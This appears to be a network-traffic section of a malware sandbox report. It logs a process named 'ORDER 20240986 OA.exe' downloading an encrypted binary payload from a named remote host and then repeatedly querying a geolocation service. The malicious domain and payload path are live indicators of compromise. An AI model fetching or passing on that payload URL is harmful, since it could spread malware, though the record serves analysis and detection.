Nov 21, 2024 09:01:51.852545977 CET	320	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 08:01:51 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4416086230c58ea9f8ef6fe4292ec5aa Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49783	167.250.5.91	443	7832	C:\Users\user\Desktop\ORDER 20240986 OA.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 08:01:21 UTC	187	OUT	GET /yak/ZnWGURK2.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: sierrassinfinusadas.com.ar Cache-Control: no-cache
2024-11-21 08:01:22 UTC	222	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 21 Nov 2024 08:01:21 GMT Content-Type: application/octet-stream Content-Length: 277568 Connection: close Last-Modified: Wed, 20 Nov 2024 04:05:40 GMT Accept-Ranges: bytes
2024-11-21 08:01:22 UTC	16162	IN	Data Raw: b9 fa df d8 82 92 a5 fd 09 0d 4e fc 23 f7 5d e8 00 d9 05 3b e2 2f 27 d3 89 00 4a 6a 9f c3 25 1e 66 b3 9d 5f 74 66 0e 8e f3 2c df 51 62 cf 96 2d cd 23 12 3b 80 c2 87 0e 71 05 ea 6d 7c b0 32 62 a3 95 99 32 f0 5d c1 03 3b 37 7f 94 83 b4 8f 89 3c 03 c0 35 96 c2 97 8c 8e fe a9 b0 10 14 0b ec 33 c8 cf c9 2e 68 c8 0e 12 df 90 b9 4c c9 9f a7 ef 57 f2 11 f3 47 fb 9c 35 9b 49 40 aa b9 69 13 90 83 15 fe c2 c5 78 31 2c be d2 f1 7a 4d b6 1c c8 7f 79 92 df 1d a2 3f f3 58 08 88 58 a4 0f 55 e3 5d 25 92 e3 b1 80 32 4e 46 33 74 77 a4 69 76 49 50 aa df 6b af bc d2 99 8b c7 44 49 7a 8e f8 bb a2 01 8c 2e 07 a2 4f 6b f9 93 ac bc 5e 8c e4 02 2a e5 56 ab 89 01 c8 24 23 24 ac 19 05 a7 90 ce d9 85 e7 d7 84 e1 49 96 18 ff bc 9c e8 26 26 6d 64 37 90 56 6f f1 b7 1c 37 eb df 5d ce 8f Data Ascii: N#];/'Jj%f_tf,Qb-#;qm\|2b2];7<53.hLWG5I@ix1,zMy?XXU]%2NF3twivIPkDIz.Ok^*V$#$I&&md7Vo7]
2024-11-21 08:01:22 UTC	16384	IN	Data Raw: 58 bf 8f ff 90 45 76 a1 45 fc 8b 0e 4d 42 87 a0 55 0e f3 51 f9 0f e6 30 ec f3 ce 18 61 c6 f6 e7 2d 19 b8 74 ed ca 5f a5 9b 54 54 da 9d 21 dd 83 d3 95 4c 08 78 9d f4 b1 6d 99 52 6b b5 ab 8b da df 0e 73 68 f0 13 f8 fa 52 7b d1 c1 7c c4 06 0c 97 af a9 b8 60 fb 00 59 16 f7 d5 c2 c9 d4 65 cd 91 68 70 20 fd be b0 1a e6 c4 c8 51 8c 7b f3 f1 be 55 ba bd b4 e0 ca c9 35 eb ba 63 5c 5d c3 14 00 99 01 25 ad b2 77 d3 e2 c0 5a 5f f4 24 68 b8 32 b2 83 ec 41 cf 45 e0 18 79 74 fc 5f 50 6c 5c 2e c6 48 5d 6d b2 e4 a5 7a 62 c0 c8 a9 1c 59 b4 1e 4b 2b c6 11 19 44 60 61 21 1d 01 8b b7 a0 57 bb 0d 3a e4 89 d6 38 70 38 bf ca af fc 9e 39 49 01 3b df 34 b7 2f ca 48 c4 dd 17 e1 8e f8 a6 29 fb 3f fc 98 e7 cb d5 cc 26 aa 8e a3 0c 06 25 97 f5 96 ee 89 e8 c5 5b a6 bd 97 fa 02 03 3b 9b Data Ascii: XEvEMBUQ0a-t_TT!LxmRkshR{\|`Yehp Q{U5c\]%wZ_$h2AEyt_Pl\.H]mzbYK+D`a!W:8p89I;4/H)?&%[;
2024-11-21 08:01:22 UTC	16384	IN	Data Raw: ca 1e 46 d4 0d 40 d7 cf 52 46 b8 5c 68 fe 68 f6 5e c0 6b 74 ee d6 e7 6e 49 77 7e 71 a4 bb d3 b0 c1 51 2f bc 37 c3 24 68 85 f5 6f e4 d7 64 d8 16 54 d1 ce 5c 20 78 ed bf 35 67 d4 38 d5 d9 64 fd 6f 3b 30 7d b2 9d b9 32 e1 a9 41 ad 12 a6 a4 b2 cc 16 35 c7 c2 57 f3 a0 05 90 58 68 6d 85 c8 81 c9 b5 68 4b 9c 81 13 ab b8 18 f2 6a 4c fd 77 21 68 d4 29 b4 89 2c 99 3b 10 34 aa f3 62 4b 23 eb e2 c0 b8 34 50 16 0b 89 89 2a 88 03 7c 66 69 a3 83 e5 25 4a 35 d2 4f 7b 2f 51 ff 57 b4 40 13 92 e1 6f 3c 0b 7b 2b 72 87 99 f2 4a eb 6a ce 12 e3 8b 75 1b de 13 d6 97 16 1a c9 f2 bc 7d ea f9 65 02 05 ca ca a2 0f b1 3d a8 91 27 56 00 2a c2 89 af 53 9f 3d bf 4c 77 bc 3e 74 e9 dd 53 7b c0 6f b8 ce 95 e9 89 34 09 1d da 40 01 fb 3a 55 c8 ca 4f 5b 43 3b 79 0f 4e aa f0 7c 11 6d 38 d8 12 Data Ascii: F@RF\hh^ktnIw~qQ/7$hodT\ x5g8do;0}2A5WXhmhKjLw!h),;4bK#4P\|fi%J5O{/QW@o<{+rJju}e='VS=Lw>tS{o4@:UO[C;yN\|m8
2024-11-21 08:01:22 UTC	16384	IN	Data Raw: 04 08 53 cc c1 28 fd dc 6f 33 1f 4d 66 b9 97 ce 57 83 cd c1 11 23 df f9 44 e6 9f b3 85 de 2a 4e bf 92 7a a9 d8 5d 5b ee 66 b4 4a ec 0f 07 56 f0 25 67 f8 29 9a d3 e8 d2 8f 90 2d c2 84 43 3d 9c b5 04 5b 45 ad 3b fa d6 9b bb 38 70 6b 7d 45 1a dc fd 9a 8e 59 9d 95 17 ca 38 92 cd eb 3f ce f8 1f 58 e4 d5 79 2c 29 7a 31 07 5c a1 68 c8 bd a1 5e 58 1a e0 fb 05 32 06 1d 6f 0a 2f a0 08 c7 5d b7 9a 84 10 22 50 ab 3f 95 cd ff 4d 44 9e a6 77 1f e8 13 7a 29 b1 40 83 da d3 18 67 ff e1 fb a0 53 ab 7d fd e9 61 c5 aa 42 52 b9 34 15 c1 87 5c e7 c7 37 da c8 c4 23 32 96 54 33 5b 8e 92 ae cf 1d 71 6c 54 25 ee 99 6f 6c 2f b2 cd ec 0c 7f 9b b9 81 48 c2 de 16 3a 2f 8e 89 b2 6b f6 01 c1 b9 76 79 08 4e ad b6 10 e1 ab bf 44 8c 59 0b f9 b4 74 ab bd f1 bc d9 f9 3b c3 fb 61 5c 5b cf 12 Data Ascii: S(o3MfW#D*Nz][fJV%g)-C=[E;8pk}EY8?Xy,)z1\h^X2o/]"P?MDwz)@gS}aBR4\7#2T3[qlT%ol/H:/kvyNDYt;a\[
2024-11-21 08:01:22 UTC	16384	IN	Data Raw: ba 93 ba 19 63 8f 38 72 d5 5e b3 49 d4 0a d1 58 f3 84 67 9e f6 00 47 db 4f cf 05 ee c2 8f fc ed a1 62 36 17 70 43 55 8e bb 34 da 60 4f cb 50 0d 1b d1 84 30 20 fa 21 d5 ff b0 97 9d ad 82 db 58 19 81 59 ca 8a f9 aa 51 ca 51 cd aa 3c d1 90 a9 1f 65 82 a5 0b ec 87 06 a0 e5 eb 9a fe 18 65 7a cc 12 56 4e 60 c7 c3 1d 21 a6 cf a2 d5 d9 c9 e3 0d 87 a9 6c a9 78 e7 f5 c7 1c 50 28 61 4a 29 d5 14 c6 f7 25 09 d3 cf 58 25 ac 5a be 9d 1c 35 59 d1 67 25 84 28 18 9b 49 09 9c 61 81 97 94 79 c1 5b 36 a1 38 95 77 68 85 fb c3 71 d5 4e a8 41 60 50 ce 5c 2a 6e 13 ad 26 77 c5 56 f8 d5 75 63 79 54 fa 6d b2 97 b9 77 ca a2 40 a7 2d b5 cb db cd 16 3f fd c2 46 ed de 24 8c 70 7e 44 4e c2 f3 78 80 a4 3b b4 c2 13 ba bd 6c c8 6c 64 ef 08 1a 62 df 2a fe 58 2d 99 31 79 8a 81 f1 68 4d 3e ec Data Ascii: c8r^IXgGOb6pCU4`OP0 !XYQQ<eezVN`!lxP(aJ)%X%Z5Yg%(Iay[68whqNA`P\n&wVucyTmw@-?F$p~DNx;lldbX-1yhM>
2024-11-21 08:01:22 UTC	16384	IN	Data Raw: 41 d5 50 23 aa 04 c6 5a a4 7f c4 74 f6 18 33 63 fe c0 6e 90 8c c8 c2 5a bb 49 96 f5 e1 fb 8c d8 69 dc 77 ca f6 14 7b 14 c9 b6 87 15 ee 83 c8 62 ff cd 3f 3e 7f 79 04 06 b1 b3 c9 f7 6e 46 70 27 c8 6a a7 4f a5 6a 91 40 99 cb 89 55 b6 96 81 2c 5d b5 b2 dc a6 7f 7d b5 d8 83 be e6 b4 95 0a 4f e1 69 76 c0 05 fa a0 d3 98 70 60 30 90 96 ce c2 7e 5e 5f 44 1c 74 4c ab 97 a1 44 30 08 73 7d 74 66 6e fe c5 2e 5e d5 00 14 24 4d 60 bf 4d c2 4e bd cc c6 29 a3 ad d8 71 ee fe 9d be 8d 0c 44 c5 fd 55 83 ce 5a 56 ec 7c b5 01 20 7f 07 26 99 7f 4e fa 2f 8f db e9 d2 e4 b7 2d c2 fd 4d be 9c b3 28 45 d4 89 28 fe a2 d6 60 2b 07 6b 46 cc 22 fc f6 8c 70 52 d3 8e 62 9a 19 be fd 9f 9b 8c f8 19 54 c9 d2 03 0d 00 5c 41 d5 16 9f 63 6a 9e aa 28 3e 2c e8 f9 fa 31 1f 7c 04 81 08 ba 7c 56 7f Data Ascii: AP#Zt3cnZIiw{b?>ynFp'jOj@U,]}Oivp`0~^_DtLD0s}tfn.^$M`MN)qDUZV\| &N/-M(E(`+kF"pRbT\Acj(>,1\|\|V
2024-11-21 08:01:22 UTC	16384	IN	Data Raw: 3e 3c 52 31 13 9f 2e 46 ac a3 96 f4 a0 9a e8 b2 c0 7c 55 b2 e5 05 3b 9a 0e cf 58 3e a6 5c e6 e7 af 98 23 8e 67 22 9b d4 bd 08 e6 da 9a 59 32 c8 b5 7f cc cc db d5 37 5e 06 e0 f3 cb e1 ad b8 4f 15 47 9a 08 52 93 00 60 55 e6 62 74 46 9c 55 02 f4 bd 77 6a 29 0d 44 e2 c9 3b 46 51 ed 86 29 af 70 47 d4 16 51 74 67 0d 8e dc b2 28 63 cc 7c 28 e9 19 c8 7a 50 a3 c6 4b 2d 77 51 8d 8c 33 93 a0 bf ae 12 11 d3 2a 77 a5 48 9b e3 f4 0a f3 ba 0d 87 7c 92 95 5d 34 f0 79 d9 5d 00 eb 8d f6 fd 30 3d 69 06 7f 19 19 8d bb 42 df 4d ce da 54 75 57 2e 87 1f 25 de b1 d9 d3 f7 9c ee ee 93 de 2b 66 96 2b 9c c6 d1 5b f3 ef 4c d2 f6 1a 96 f1 fb 41 69 de 4a 33 78 d6 02 02 c1 d4 fe f2 0b 5b 0a 1e 95 68 48 6c c7 c3 19 21 e8 ae a2 d5 d9 c4 8f 1c 83 01 5a be 74 1c b3 c7 68 e3 00 52 12 2c 77 Data Ascii: ><R1.F\|U;X>\#g"Y27^OGR`UbtFUwj)D;FQ)pGQtg(c\|(zPK-wQ3*wH\|]4y]0=iBMTuW.%+f+[LAiJ3x[hHl!ZthR,w
2024-11-21 08:01:22 UTC	16384	IN	Data Raw: 4e 73 8c fe f3 4a 16 4c e1 d4 16 bf fa e3 fe c3 28 89 c3 78 00 fc 68 5b b1 84 1f 88 f2 a3 fe ab 69 f7 cf ca 2c c5 fa 9e 79 04 a5 b0 1c 60 31 4e c0 66 41 b0 7e 1a fd 76 4e 0b 73 5c 67 aa 5c 0d c1 bc f1 3a 60 6f 58 4e 81 fb ae e0 78 48 b9 13 d6 bc 87 1c 4f 11 f5 f9 a0 c0 d6 8a 14 08 de c1 de 44 e6 71 98 ed 2b 41 d5 6a a9 cd 48 a7 68 83 e8 d1 23 95 07 dc 6b 6a 43 66 a4 69 2f 70 b0 4b c7 bf 28 dd 5c c3 28 f4 fe e0 04 e0 34 b2 63 ef cc 6f b8 9c 91 c0 54 bb 44 84 d5 03 89 33 d8 69 03 42 f9 ac 04 d5 14 b3 07 ab 02 cf 43 ed 7a 87 02 92 3e 25 db 20 0f a0 b7 6b d2 67 34 91 57 c8 0a 40 6a be 7a 8f d2 b8 d7 14 d7 91 96 cd 8e 75 d1 b2 c3 b0 44 66 ca fb 89 cc 88 f8 9c 52 2e a8 69 7c 4a 2c fa a6 ff 8e 71 71 3d 8c 47 e4 7c 6f 59 4e 44 51 1f b1 54 6e ad 4c 9c 69 27 55 30 Data Ascii: NsJL(xh[i,y`1NfA~vNs\g\:`oXNxHODq+AjHh#kjCfi/pK(\(4coTD3iBCz>% kg4W@jzuDfR.i\|J,qq=G\|oYNDQTnLi'U0
2024-11-21 08:01:22 UTC	16384	IN	Data Raw: 79 05 77 e3 d9 7e 67 c5 22 6e e2 c4 30 1a 8e 81 a5 96 ad f1 d5 f8 61 16 86 64 03 47 35 a3 42 ff 25 b2 db f5 13 15 ab 04 c0 ac 6e 87 7d 8b 24 18 b8 db 49 73 71 c0 3d b2 db 7a 79 98 5b b7 ea fd bb 8a a0 fd f1 07 3f 24 6a b4 0e 4b 52 11 82 63 62 ad 9f b0 f2 d5 25 fc c2 40 5d d7 d7 9d d9 0b d6 7c cc 13 a4 b0 cc 3f f0 9c c9 83 9f 20 06 f7 6c e7 8d 0c 0e d5 d2 b8 b7 c9 af 1e 64 a2 b9 69 9c 77 20 0d e7 18 58 c8 a1 3c cc c7 39 cd ab d9 69 f0 e5 08 32 b9 cd 61 96 f8 16 d5 51 ee fc bb e2 50 ea 67 52 f0 ec b7 20 a9 c9 9e 5b a3 ed c7 54 8e cc ab ab 18 4b d0 f5 e6 df f6 b9 95 63 7a b8 63 e4 5a 82 d6 5c 33 c8 7e 6e 47 96 4c 64 ef 94 15 60 46 1b 9b e2 c3 39 55 52 fd 80 3a a6 61 5d c0 22 8d 67 7d 59 84 ca 4d 32 40 c3 6d cc c5 0f e0 b2 50 a3 dd 5a 37 04 25 9f 8d 39 88 db Data Ascii: yw~g"n0adG5B%n}$Isq=zy[?$jKRcb%@]\|? ldiw X<9i2aQPgR [TKczcZ\3~nGLd`F9UR:a]"g}YM2@mPZ7%9
2024-11-21 08:01:22 UTC	16384	IN	Data Raw: 32 7a 69 22 43 fa 45 a2 b0 fd ab f9 75 8d 49 0a 2c dd fc ee a3 a9 7a 74 8a e2 b2 0c a1 ef a5 4f 88 46 27 30 97 59 97 89 73 6b 0a 39 65 a9 bb 06 bf e2 4c ea 85 97 75 ac 94 49 b8 56 e8 b5 e2 e9 26 26 69 15 3a b8 1f 6f b1 bd 9c 36 eb df 59 cc 8f 7f 57 cc 71 ee 0c 64 eb b0 01 46 1f 32 06 df 6f ec 9c f5 23 88 a2 26 6a 67 29 77 16 ea 03 6f 79 28 04 f7 de f4 96 29 b5 02 d4 07 af 16 ff 0d 72 9c b1 f9 4a 11 7f c7 d1 16 a9 f0 e4 c7 70 28 89 d2 7e 6c cb 42 49 b6 88 1d 88 71 d5 fe ab 2e 98 cd ca 20 e9 f2 f7 76 10 a4 b6 01 b1 25 71 30 75 46 88 cf 69 d6 74 46 1c 78 26 71 eb 87 7d de fa d5 38 66 64 76 57 e9 ae c0 4c 7e 2f 0c 29 d2 aa 92 08 73 ae e4 fe d2 b6 6b 8d 16 03 5b c3 ae 2d dc 76 91 99 7c 48 c4 1d cd 9b 65 a7 18 e6 d7 2d 20 82 10 ab 39 7a 44 64 45 9a ae 00 df 68 Data Ascii: 2zi"CEuI,ztOF'0Ysk9eLuIV&&i:o6YWqdF2o#&jg)woy()rJp(~lBIq. v%q0uFitFx&q}8fdvWL~/)sk[-v\|He- 9zDdEh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49800	188.114.96.3	443	7832	C:\Users\user\Desktop\ORDER 20240986 OA.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 08:01:28 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-21 08:01:28 UTC	849	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 08:01:28 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 139997 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kckc4M4VVB3c%2FZ1dqOJrOBY23g2WAFL3NNO600NqaWzXSEG0lug5pf8ybu1P2KFcDKh8tWqmjlyzpbC1pkN6FK3csW6M70f6m1QFvVf8JEg4HzUqbv1LzMbx6M6lBGQ%2BCUD6fSXK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5f26e8fefc42a3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1936&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=698&delivery_rate=1505154&cwnd=154&unsent_bytes=0&cid=437581b2f16467f8&ts=463&x=0"
2024-11-21 08:01:28 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49806	188.114.96.3	443	7832	C:\Users\user\Desktop\ORDER 20240986 OA.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 08:01:30 UTC	60	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-21 08:01:30 UTC	849	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 08:01:30 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 139999 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XjjhRpriMtDOGk%2FnDILR2RpMNtf4lx7l5ajezYaqWcpOyN7HIobJnGhMyJ1nV5yKvkuZHg7Q0DZRFuqKUXVzC4TEKeADo80Qcficj1DgamVXBTs7yw7KYR%2B9hUGbz3Lypi5f50j3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5f26f61d5f430e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1582&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=698&delivery_rate=1812538&cwnd=178&unsent_bytes=0&cid=83e0005ad4fe71ee&ts=449&x=0"
2024-11-21 08:01:30 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49814	188.114.96.3	443	7832	C:\Users\user\Desktop\ORDER 20240986 OA.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 08:01:33 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-21 08:01:33 UTC	857	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 08:01:33 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 140002 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WwBLmy%2Fjt9s%2B7mJM2x5tN91P2bfxTYUcF%2FuW%2FMgyWLBGE6ELNi93wGyMa4Im5rf4wCJMNJoGNuA2ZPS3%2BhvlsZ2rGj2AEFIe2d0Sva4%2FdEK8YZaWVNtAlZsuBrnLH37w8DD7VQQ3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5f270a299641a9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1741&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=698&delivery_rate=1696687&cwnd=204&unsent_bytes=0&cid=23a897686af3337a&ts=457&x=0"
2024-11-21 08:01:33 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49825	188.114.96.3	443	7832	C:\Users\user\Desktop\ORDER 20240986 OA.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 08:01:36 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-21 08:01:37 UTC	851	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 08:01:36 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 140005 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MV8Nxo7GPznMpmwlKJN%2BScWAevt4cxDmCHLBRRWH8JdN3oCMrEOEX%2FI9c6YQzturUjDopSubenn7IpAt%2BEooLG8l0AMwjagha9ZcPvHPQmOJoHPVH5PBYOp1BhaF6yLNt2AUwuUc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5f271d5cff32e4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1788&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=698&delivery_rate=1581798&cwnd=145&unsent_bytes=0&cid=4075eb58b87d5689&ts=451&x=0"
2024-11-21 08:01:37 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49833	188.114.96.3	443	7832	C:\Users\user\Desktop\ORDER 20240986 OA.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 08:01:39 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
